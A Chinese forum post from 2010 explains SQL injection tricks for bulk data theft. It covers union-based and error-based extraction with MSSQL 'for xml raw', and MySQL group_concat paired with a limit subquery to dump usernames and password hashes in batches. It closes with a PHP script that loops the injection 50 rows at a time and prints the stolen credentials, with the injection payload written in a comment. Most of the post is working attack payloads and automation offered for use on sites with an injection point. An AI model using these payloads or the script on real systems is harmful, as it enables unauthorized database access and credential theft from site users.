爱雪宝 發表於 2010-5-13 14:24:21

SQL注入中获取数据的一些技巧分析

<strong>一、MSSQL获取数据:</strong> <br /><br />用的比较多的就是for xml raw了,MSSQL2000都支持的! <br /><br />注入中显示数据的两个办法均可以使用,一是union select、二是显错,以MSSQL2005为例: <br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode5">select username from members where 1=2 union select top 3 username from members for xml raw</div><br />返回(如果username重复,自动去除重复值): <br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode6"> <br />&lt;row username="admin"/&gt;&lt;row username="Anna"/&gt;&lt;row username="oldjun"/&gt; <br />select username from members where 1=(select top 3 username from members for xml raw) <br /></div><br />返回: <br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode7"> <br />Msg 245, Level 16, State 1, Line 1 <br />Conversion failed when converting the nvarchar value '&lt;row username="admin"/&gt;&lt;row username="Anna"/&gt;&lt;row username="oldjun"/&gt;' to data type int. <br /></div><br />当数据量很大,无webshell,有注入点可以利用的时候,for xml raw 是不错的获取批量数据的办法!为了不让返回的数据量过大,top可以限制小一点,比如100,另外要附加脚本或者程序对返回值进行处理。 <br /><br /><strong>二、MYSQL获取数据: <br /></strong><br />用的比较多的是group_concat,mysql&gt;=4.1支持该函数,可能很多人知道了,但我看过的文章几乎都是用来读table_name或者column_name的,毕竟表名、列名的数据量不大,所以用起来很方便,可以一下子把所有表名或者所有列名读出来。不过用group_concat批量注入读数据的很少,虽然可以提高效率,增快速度。 <br /><br />因为group_concat有个瓶颈,当group_concat与limit连用时,limit不起作用(也许是先执行group_concat),于是group_concat一次性读出很多条数据(取决于group_concat_max_len,默认1024),而一般网站数据量都是很大的。一旦不能与limit连用,怎么获取之后的数据呢? <br /><br />其实简单变动下SQL语句即可以实现group_concat与limit连用: <br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode8"> <br />select concat(group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c)) from (select * from members limit 0,3) A <br /></div><br />返回: <br /><br />guest|||admin|||oldjun:084e0343a0486ff05530df6c705c8bb4|||21232f297a57a5a743894a0e4a801fc3|||ad392a36c512176545900fd05772cbc6 <br />于是简单做下字符串处理,前三条数据就出来了。为了返回不至于数据量过大,单次查询100以下一般可以接受的。 <br /><br /><strong>三、给出部分示例代码(mysql group_concat 50条数据每次):</strong> <br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode9"> <br />&lt;? <br />if ($argc &lt; 3) { <br />print_r(' <br />+---------------------------------------------------------------------------+ <br />Usage: php '.$argv.' start end(end: count/50) <br />Example: <br />php '.$argv.' 0 9999 <br />Author:oldjun(http://www.oldjun.com) <br />+---------------------------------------------------------------------------+ <br />'); <br />exit; <br />} <br />error_reporting(7); <br />ini_set('max_execution_time', 0); <br />$start = $argv; <br />$over = $argv; <br />for($i=$start;$i&lt;=$over;$i++){ <br />getdata($i); <br />} <br />function getdata($i) <br />{ <br />$resp = send($i); <br />if ($resp){ <br />preg_match('#&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;([^\n]+):([^\n]+)&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;#', $resp, $value); <br />if($value){ <br />$namearr=explode("|||",$value); <br />$passarr=explode("|||",$value); <br />for($j=0;$j&lt;50;$j++){ <br />echo $namearr[$j]."|||".$passarr[$j]."\r\n"; <br />} <br />unset($namearr); <br />unset($passarr); <br />}else{ <br />echo $resp; <br />echo "value error,return $i\r\n"; <br />getdata($i); <br />} <br />} <br />else{ <br />echo "resp error,return $i\r\n"; <br />getdata($i); <br />} <br />} <br />function send($i) <br />{ <br />$limit=$i*50; <br />//发送数据包代码省略 <br />//注入语句示例:union select 1,2,3,4,CONCAT(0x3C3C3C3C3C3C3C3C3C3C,group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c),0x3E3E3E3E3E3E3E3E3E3E) FROM (select * from members limit ".$limit.",50) A# <br />} <br />?&gt; <br /></div>
頁: [1]
查看完整版本: SQL注入中获取数据的一些技巧分析